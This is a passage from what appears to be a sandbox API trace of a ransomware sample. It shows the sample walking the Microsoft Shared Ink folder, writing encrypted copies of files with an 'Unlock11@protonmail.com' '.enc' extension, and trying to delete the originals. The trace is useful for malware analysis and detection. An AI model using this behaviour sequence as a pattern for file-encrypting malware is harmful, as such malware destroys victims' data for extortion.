files\\microsoft shared\\ink\\skchui.dll")) returned 0x20 [0198.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0198.947] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tabtip32.exe")) returned 0x20 [0198.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0198.949] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0198.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0198.950] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tpcps.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0198.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0198.954] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkDiv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkDiv.dll", lpFilePart=0x9bada4*="InkDiv.dll") returned 0x43 [0198.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0198.954] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkObj.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkObj.dll", lpFilePart=0x9bada4*="InkObj.dll") returned 0x43 [0198.955] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\micaut.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\micaut.dll", lpFilePart=0x9bada4*="micaut.dll") returned 0x43 [0198.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0198.955] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\Microsoft.Ink.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\Microsoft.Ink.dll", lpFilePart=0x9bada4*="Microsoft.Ink.dll") returned 0x4a [0198.955] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mraut.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mraut.dll", lpFilePart=0x9bada4*="mraut.dll") returned 0x42 [0198.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0198.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0198.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0198.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0198.956] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwgst.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwgst.dll", lpFilePart=0x9bada4*="mshwgst.dll") returned 0x44 [0198.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0198.956] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwLatin.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwLatin.dll", lpFilePart=0x9bada4*="mshwLatin.dll") returned 0x46 [0198.956] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penchs.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penchs.dll", lpFilePart=0x9bada4*="penchs.dll") returned 0x43 [0198.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0198.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0198.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0198.956] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pencht.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pencht.dll", lpFilePart=0x9bada4*="pencht.dll") returned 0x43 [0198.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0198.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penjpn.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penjpn.dll", lpFilePart=0x9bada4*="penjpn.dll") returned 0x43 [0198.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penkor.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penkor.dll", lpFilePart=0x9bada4*="penkor.dll") returned 0x43 [0198.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0198.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penusa.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penusa.dll", lpFilePart=0x9bada4*="penusa.dll") returned 0x43 [0198.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0198.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.dll", lpFilePart=0x9bada4*="pipanel.dll") returned 0x44 [0198.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0198.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0198.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0198.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0198.958] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe", lpFilePart=0x9bada4*="pipanel.exe") returned 0x44 [0198.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.958] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1 [0198.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c64 | out: pbBuffer=0x3662c64) returned 1 [0198.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0198.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.959] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.959] GetFileType (hFile=0x334) returned 0x1 [0198.959] GetFileType (hFile=0x334) returned 0x1 [0198.960] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.960] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.961] GetFileType (hFile=0x39c) returned 0x1 [0198.961] GetFileType (hFile=0x39c) returned 0x1 [0198.961] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.961] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.961] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.962] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.962] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.969] CloseHandle (hObject=0x39c) returned 1 [0198.969] CloseHandle (hObject=0x334) returned 1 [0198.969] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.exe")) returned 0 [0198.969] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipres.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipres.dll", lpFilePart=0x9bada4*="pipres.dll") returned 0x43 [0198.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\rtscom.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\rtscom.dll", lpFilePart=0x9bada4*="rtscom.dll") returned 0x43 [0198.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchobj.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchobj.dll", lpFilePart=0x9bada4*="skchobj.dll") returned 0x44 [0198.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchui.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchui.dll", lpFilePart=0x9bada4*="skchui.dll") returned 0x43 [0198.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe", lpFilePart=0x9bada4*="TabTip32.exe") returned 0x45 [0198.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0198.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0198.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0198.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0198.971] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tabtip32.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe4dac572, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe4dac572, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5320)) returned 1 [0198.971] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bec | out: pbBuffer=0x3664bec) returned 1 [0198.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0198.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0198.972] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tabtip32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.972] GetFileType (hFile=0x334) returned 0x1 [0198.972] GetFileType (hFile=0x334) returned 0x1 [0198.972] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.972] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.973] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tabtip32.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.973] GetFileType (hFile=0x39c) returned 0x1 [0198.974] GetFileType (hFile=0x39c) returned 0x1 [0198.974] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.974] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.974] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.974] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.974] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.974] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.974] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.982] CloseHandle (hObject=0x39c) returned 1 [0198.982] CloseHandle (hObject=0x334) returned 1 [0198.982] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\TabTip32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tabtip32.exe")) returned 0 [0198.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tiptsf.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tiptsf.dll", lpFilePart=0x9bada4*="tiptsf.dll") returned 0x43 [0198.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0198.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0198.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0198.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0198.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tpcps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tpcps.dll", lpFilePart=0x9bada4*="tpcps.dll") returned 0x42 [0198.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.984] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0198.986] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.986] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a091a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0198.986] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0198.986] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41865796, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x814e2200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0198.986] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a091a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0198.987] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7dba9b00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="TabTip32.exe.mui", cAlternateFileName="")) returned 1 [0198.987] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0198.987] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0198.987] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0198.987] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0198.988] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0198.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0198.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 